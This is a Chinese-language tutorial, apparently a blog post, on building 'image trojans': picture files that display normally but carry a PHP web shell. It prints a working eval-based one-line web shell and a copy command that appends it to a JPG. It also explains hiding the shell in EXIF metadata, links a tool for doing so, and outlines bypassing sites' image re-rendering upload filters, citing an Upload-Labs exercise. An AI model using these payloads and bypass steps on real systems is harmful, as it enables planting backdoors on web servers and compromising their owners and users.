0x01什么是图片木马?
图片木马在网络上没有统一的定义,在这里我给出自己的定义。图片木马是一张能正常显示又包含恶意代码(比如一句话木马)的图片文件。
根据定义我们知道图片木马两个条件:
- 图片能正常显示
- 包含能执行的而已代码
总体思路:将恶意代码写在图片文件中非图片数据区,防止写入导致图片损坏。
常规的图片格式有gif,png,jpg格式
0x02将恶意代码写在图片尾部
方法一:copy法
准备一张正常图片(a.jpg),新建一个文件内容写入以下代码(b.php)
<?php @eval($_POST['sbsw']);?>
使用以下命令生成图片木马muma.jpg
copy a.jpg/b + b.php/a = muma.jpg
/a表示ASCII码 , /b代表二进制文件
方法二:二进制编辑器法
使用二进制编辑工具(比如winhex,utrl editor等等)直接写恶意代码到文件尾部。
这里我使用winhex给大家演示
0x03图片描述法
jpg格式的图片有exif这个结构,专门用来描述
方法一:ps法
使用ps打开图片,在描述处填入恶意代码,最后保存
其实也可以用gimp
方法二:edjpgcom
将要注入恶意代码的图片拖到edjpgcom.exe上,在edjpgcom弹出的输入框中输入一句话。
下载链接:https://pan.baidu.com/s/1ksyleLk034AGKmiy9E8a9A 提取码: caep
0x04渲染绕过
适合格式:gif
现在的网站对于图片上传的防范越来越严,经常对上传的图片二次渲染。导致我们的通过方法思路一和思路二的方
法注入的而已代码,在渲染之后被“清洗”掉了!这时候我们就得思考如何去绕过。
绕过思路:对比上传前和上传后的图片的差异,找到相同数据同时又是非图片数据区的地方,在在,此处写入恶意代码。
下载大佬开发的上传绕过框架(uplaod bypass framework),里面有一个二次渲染绕过上传
参考文章: 制作绕过二次渲染的图片马;Upload-Labs第Pass-16通关(二次渲染绕过)详解
步骤一:对比
步骤二:写入
参考文章: